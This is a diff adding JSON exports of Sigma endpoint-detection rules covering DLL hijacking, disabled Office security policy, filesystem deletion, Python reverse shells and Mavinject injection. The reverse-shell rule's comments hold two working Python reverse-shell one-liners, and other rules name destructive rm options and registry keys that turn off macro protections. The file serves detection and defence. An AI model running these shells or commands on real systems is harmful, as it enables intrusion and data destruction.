+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "310c3bfc-817d-4a9b-bcb8-d1c7a7835b67",
+  "rule_name": "DLL Hijacking via cmdl32.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via cmdl32.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "3173c69e-b742-4068-89fd-0dcb22d5d4d1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.093500Z",
+  "creation_date": "2026-03-23T11:45:34.093502Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.093507Z",
+  "rule_level": "medium",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/",
+    "https://www.mdsec.co.uk/2020/11/a-fresh-outlook-on-mail-based-persistence/"
+  ],
+  "name": "t1562_001_office_disable_security_policy.yml",
+  "content": "title: Microsoft Office Security Policy Disabled\nid: 3173c69e-b742-4068-89fd-0dcb22d5d4d1\ndescription: |\n    Detects when policy regarding Office applications security is set to disabled.\n    This rule is triggered when:\n        - macro execution policy is set to allow any macro (signed and unsigned) to execute automatically.\n        - a protected view policy is set to be disabled for all documents.\n    Some attackers set those values upon compromising endpoints to ease further exploitations in the future.\n    It is recommended to investigate the process that set the registry key for suspicious activities.\nreferences:\n    - https://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/\n    - https://www.mdsec.co.uk/2020/11/a-fresh-outlook-on-mail-based-persistence/\ndate: 2020/09/28\nmodified: 2025/04/24\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1562.001\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.ImpairDefenses\n    - classification.Windows.Behavior.SystemModification\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        Details: 'DWORD (0x00000001)'  # value 1 == No Security checks for macros (Not recommended, code in all documents can run)\n        TargetObject:\n            # covers \\office\\12.0/14.0/16.0... \\Word / Excel\\Security\\VBAWarnings\n            - 'HKU\\\\*\\Software\\Microsoft\\Office\\\\*\\Security\\VBAWarnings'\n            # disable Protected View for files downloaded from the internet.\n            - 'HKU\\\\*\\Software\\Microsoft\\Office\\\\*\\Security\\ProtectedView\\DisableInternetFilesInPV'\n            # disable Protected View for files located in unsafe locations (temporary directories,...)\n            - 'HKU\\\\*\\Software\\Microsoft\\Office\\\\*\\Security\\ProtectedView\\DisableUnsafeLocationsInPV'\n            # disable Protected View for files containing attachements.\n            - 'HKU\\\\*\\Software\\Microsoft\\Office\\\\*\\Security\\ProtectedView\\DisableAttachementsInPV'\n            # enable all macros without warns.\n            - 'HKU\\\\*\\Software\\Microsoft\\Office\\\\*\\Security\\Level'\n\n    # For office we detect only if the modification is related to a suspicious action (via a macro for example)\n    selection_office:\n        ProcessOriginalFileName:\n            - 'Excel.exe'\n            - 'Lync.exe'\n            - 'MSACCESS.EXE'\n            - 'OneNote.exe'\n            - 'Outlook.exe'\n            - 'POWERPNT.EXE'\n            - 'WinWord.exe'\n        ProcessSigned: 'true'\n        ProcessSignature : 'Microsoft Corporation'\n\n    filter_office_ui:\n        StackTrace|contains: '\\Mso??UIwin32client.dll!'\n\n    exclusion_services:\n        Image|endswith:\n            - '\\windows\\system32\\svchost.exe'\n            - '\\windows\\syswow64\\svchost.exe'\n            - '\\windows\\system32\\services.exe'\n\n    exclusion_windowsupdate:\n        Image: '?:\\$WINDOWS.~BT\\Sources\\setuphost.exe'\n        ProcessParentImage:\n            - '*\\WindowsUpdateBox.exe'\n            - '*\\sources\\setupprep.exe'\n\n    exclusion_citrix_profile_manager:\n        Image: '?:\\Program Files\\Citrix\\User Profile Manager\\UserProfileManager.exe'\n\n    exclusion_ivanti:\n        Image:\n            - '?:\\Program Files (x86)\\Ivanti\\Workspace Control\\pfwsmgr.exe'\n            - '?:\\Program Files (x86)\\Ivanti\\Workspace Control\\pwrgrid.exe'\n            - '?:\\Program Files\\Ivanti\\Ivanti Cloud Agent\\UWM_AC_ENGINE.WIN64\\AMAgent.exe'\n\n    exclusion_sagekey:\n        Image: '?:\\Program Files (x86)\\Common Files\\Sagekey Software\\StartAccess_2003.exe'\n\n    exclusion_ecscad:\n        Image: '?:\\Program Files\\MuM MT\\ecscad 2016\\ecscad\\EcsController.exe'\n\n    exclusion_msaaccess:\n        Image|endswith: '\\MSACCESS.EXE'\n        ProcessParentImage|endswith: '\\MSACCESS*.EXE'\n        ProcessGrandparentImage|endswith: '\\e.magnus.exe'\n\n    exclusion_intersystems:\n        ProcessOriginalFileName: 'CWS.exe'\n\n    exclusion_share:\n        ProcessProcessName:\n            - 'reg.exe'\n            - 'regedit.exe'\n            - 'cscript.exe'\n        ProcessCommandLine|contains: '\\\\\\\\'\n\n    exclusion_res_software:\n        ProcessParentImage: '?:\\Program Files (x86)\\RES Software\\Workspace Manager\\pfwsmgr.exe'\n\n    exclusion_magnus:\n        ProcessGrandparentImage: '?:\\Program Files (x86)\\BL\\BL\\bin\\e.magnus.exe'\n\n    exclusion_loadstate:\n        ProcessOriginalFileName: 'LoadState.exe'\n        ProcessSigned: 'true'\n        ProcessSignature : 'Microsoft Corporation'\n\n    exclusion_aucotec:\n        ProcessImage: '?:\\Program Files (x86)\\Aucotec\\Engineering Base *\\bin\\EngineeringBase.exe'\n        ProcessSigned: 'true'\n        ProcessSignature : 'AUCOTEC AG'\n\n    exclusion_natus:\n        ProcessOriginalFileName:\n            - 'Wave.exe'\n            - 'XLDB.EXE'\n        ProcessSigned: 'true'\n        ProcessSignature : 'Natus Medical Incorporated'\n\n    exclusion_immidio:\n        ProcessParentImage: '?:\\Program Files\\Immidio\\Flex Profiles\\FlexService.exe'\n\n    condition: ((selection and not selection_office) or (selection and selection_office and not filter_office_ui)) and not 1 of exclusion_*\nlevel: medium\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "3173c69e-b742-4068-89fd-0dcb22d5d4d1",
+  "rule_name": "Microsoft Office Security Policy Disabled",
+  "rule_description": "Detects when policy regarding Office applications security is set to disabled.\nThis rule is triggered when:\n    - macro execution policy is set to allow any macro (signed and unsigned) to execute automatically.\n    - a protected view policy is set to be disabled for all documents.\nSome attackers set those values upon compromising endpoints to ease further exploitations in the future.\nIt is recommended to investigate the process that set the registry key for suspicious activities.\n",
+  "rule_creation_date": "2020-09-28",
+  "rule_modified_date": "2025-04-24",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112",
+    "attack.t1562.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "31777514-089e-478f-8335-ce2e3f30e79e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.597347Z",
+  "creation_date": "2026-03-23T11:45:34.597353Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.597364Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://man7.org/linux/man-pages/man1/rm.1.html",
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1070.004/T1070.004.md#atomic-test-8---delete-filesystem---linux",
+    "https://attack.mitre.org/techniques/T1485/",
+    "https://attack.mitre.org/techniques/T1070/004/"
+  ],
+  "name": "t1485_delete_filesystem_linux.yml",
+  "content": "title: Filesystem Deletion\nid: 31777514-089e-478f-8335-ce2e3f30e79e\ndescription: |\n    Detects the execution of rm, a command to remove files or directories with a specific option related to filesystem deletion.\n    Adversaries may delete filesystems to hide their intrusion activity or to perform data destruction.\n    It is recommended to investigate previous alerts on this machine to hunt for any malicious activity.\nreferences:\n    - https://man7.org/linux/man-pages/man1/rm.1.html\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1070.004/T1070.004.md#atomic-test-8---delete-filesystem---linux\n    - https://attack.mitre.org/techniques/T1485/\n    - https://attack.mitre.org/techniques/T1070/004/\ndate: 2023/01/06\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.impact\n    - attack.t1485\n    - attack.defense_evasion\n    - attack.t1070.004\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Behavior.Deletion\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection:\n        Image|endswith: '/rm'\n        CommandLine|contains: '--no-preserve-root'\n\n    condition: selection\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "31777514-089e-478f-8335-ce2e3f30e79e",
+  "rule_name": "Filesystem Deletion",
+  "rule_description": "Detects the execution of rm, a command to remove files or directories with a specific option related to filesystem deletion.\nAdversaries may delete filesystems to hide their intrusion activity or to perform data destruction.\nIt is recommended to investigate previous alerts on this machine to hunt for any malicious activity.\n",
+  "rule_creation_date": "2023-01-06",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.impact"
+  ],
+  "rule_technique_tags": [
+    "attack.t1070.004",
+    "attack.t1485"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "319422fe-e9e9-4e50-becd-b946bfa14f25",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.619443Z",
+  "creation_date": "2026-03-23T11:45:34.619445Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.619449Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/linux",
+    "https://attack.mitre.org/techniques/T1059/006/"
+  ],
+  "name": "t1059_006_reverse_shell_python_linux.yml",
+  "content": "title: Reverse Shell Executed via Python (Linux)\nid: 319422fe-e9e9-4e50-becd-b946bfa14f25\ndescription: |\n    Detects the suspicious usage of Python related to reverse shells.\n    Reverse shells are remote shell connections initiated from a compromised system to a malicious client as a way to bypass firewall rules.\n    It is recommended to investigate the process behavior and command-line arguments to determine if the Python execution is legitimate or indicative of malicious activity such as establishing a reverse shell connection.\nreferences:\n    - https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/linux\n    - https://attack.mitre.org/techniques/T1059/006/\ndate: 2022/07/01\nmodified: 2025/02/19\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1059.006\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Script.Python\n    - classification.Linux.Behavior.RemoteShell\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    # export RHOST=\"127.0.0.1\";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv(\"RHOST\"),int(os.getenv(\"RPORT\"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")'\n    # python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.0.0.1\",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n    selection_command:\n        CommandLine|contains|all:\n            - 'import'\n            - 'socket'\n            - '.socket('\n            - '.connect('\n            - 'os.dup2('\n            - 'fileno()'\n\n    selection_shell:\n        CommandLine|contains:\n            - '.spawn('\n            - '.call('\n\n    condition: all of selection_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "319422fe-e9e9-4e50-becd-b946bfa14f25",
+  "rule_name": "Reverse Shell Executed via Python (Linux)",
+  "rule_description": "Detects the suspicious usage of Python related to reverse shells.\nReverse shells are remote shell connections initiated from a compromised system to a malicious client as a way to bypass firewall rules.\nIt is recommended to investigate the process behavior and command-line arguments to determine if the Python execution is legitimate or indicative of malicious activity such as establishing a reverse shell connection.\n",
+  "rule_creation_date": "2022-07-01",
+  "rule_modified_date": "2025-02-19",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.006"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "319b37d1-f75a-4426-9484-efa3e3788527",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.592677Z",
+  "creation_date": "2026-03-23T11:45:34.592681Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.592689Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_licensingdiag.yml",
+  "content": "title: DLL Hijacking via licensingdiag.exe\nid: 319b37d1-f75a-4426-9484-efa3e3788527\ndescription: |\n    Detects potential Windows DLL Hijacking via licensingdiag.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'licensingdiag.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\Cabinet.dll'\n            - '\\CLIPC.dll'\n            - '\\fastprox.dll'\n            - '\\licensingdiagspp.dll'\n            - '\\propsys.dll'\n            - '\\rsaenh.dll'\n            - '\\wbemprox.dll'\n            - '\\wbemsvc.dll'\n            - '\\windows.storage.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "319b37d1-f75a-4426-9484-efa3e3788527",
+  "rule_name": "DLL Hijacking via licensingdiag.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via licensingdiag.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "31ccdc74-069f-43fc-87d2-615dcae0c977",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.070652Z",
+  "creation_date": "2026-03-23T11:45:34.070654Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.070658Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://lolbas-project.github.io/lolbas/Binaries/Mavinject/",
+    "https://attack.mitre.org/techniques/T1218/013/",
+    "https://attack.mitre.org/techniques/T1055/001/"
+  ],
+  "name": "t1218_013_mavinject.yml",
+  "content": "title: Proxy Execution via Mavinject\nid: 31ccdc74-069f-43fc-87d2-615dcae0c977\ndescription: |\n    Detect a suspicious execution of Microsoft Application Virtualization Injector Mavinject.exe to proxy execution of malicious code.\n    This binary, which is digitally signed by Microsoft, can be used to inject malicious DLLs into running processes.\n    Attackers may abused it to bypass security restrictions.\n    It is recommended to ensure that the injected DLL is legitimate.\nreferences:\n    - https://lolbas-project.github.io/lolbas/Binaries/Mavinject/\n    - https://attack.mitre.org/techniques/T1218/013/\n    - https://attack.mitre.org/techniques/T1055/001/\ndate: 2022/02/28\nmodified: 2025/06/04\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1218.013\n    - attack.t1055.001\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Mavinject\n    - classification.Windows.Behavior.ProxyExecution\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        OriginalFileName:\n          - 'mavinject32.exe'\n          - 'mavinject64.exe'\n        CommandLine|contains: ' /INJECTRUNNING *.dll'\n\n    exclusion_appvclient:\n        CommandLine:\n            - '?:\\WINDOWS\\system32\\mavinject.exe * /INJECTRUNNING ?:\\Windows\\System32\\Subsystems\\AppVEntSubsystems64.dll 1'\n            - '?:\\Windows\\SysWOW64\\mavinject.exe * /INJECTRUNNING ?:\\Windows\\System32\\Subsystems\\AppVEntSubsystems32.dll 1'\n        ParentImage: '?:\\Windows\\System32\\AppVClient.exe'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "31ccdc74-069f-43fc-87d2-615dcae0c977",
+  "rule_name": "Proxy Execution via Mavinject",
+  "rule_description": "Detect a suspicious execution of Microsoft Application Virtualization Injector Mavinject.exe to proxy execution of malicious code.\nThis binary, which is digitally signed by Microsoft, can be used to inject malicious DLLs into running processes.\nAttackers may abused it to bypass security restrictions.\nIt is recommended to ensure that the injected DLL is legitimate.\n",
+  "rule_creation_date": "2022-02-28",
+  "rule_modified_date": "2025-06-04",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055.001",
+    "attack.t1218.013"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "31dac5b8-d9c0-4cae-865a-9d528c8e6c00",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.586826Z",
+  "creation_date": "2026-03-23T11:45:34.586829Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.586837Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_netplwiz.yml",
+  "content": "title: DLL Hijacking via netplwiz.exe\nid: 31dac5b8-d9c0-4cae-865a-9d528c8e6c00\ndescription: |\n    Detects potential Windows DLL Hijacking via netplwiz.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'netplwiz.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\CRYPTBASE.dll'\n            - '\\DSROLE.dll'\n            - '\\NETPLWIZ.dll'\n            - '\\netutils.dll'\n            - '\\PROPSYS.dll'\n            - '\\samcli.dll'\n            - '\\SAMLIB.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "31dac5b8-d9c0-4cae-865a-9d528c8e6c00",
+  "rule_name": "DLL Hijacking via netplwiz.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via netplwiz.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "31dd17cd-3ed5-4e4d-949f-71cfddc70c1e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.086751Z",
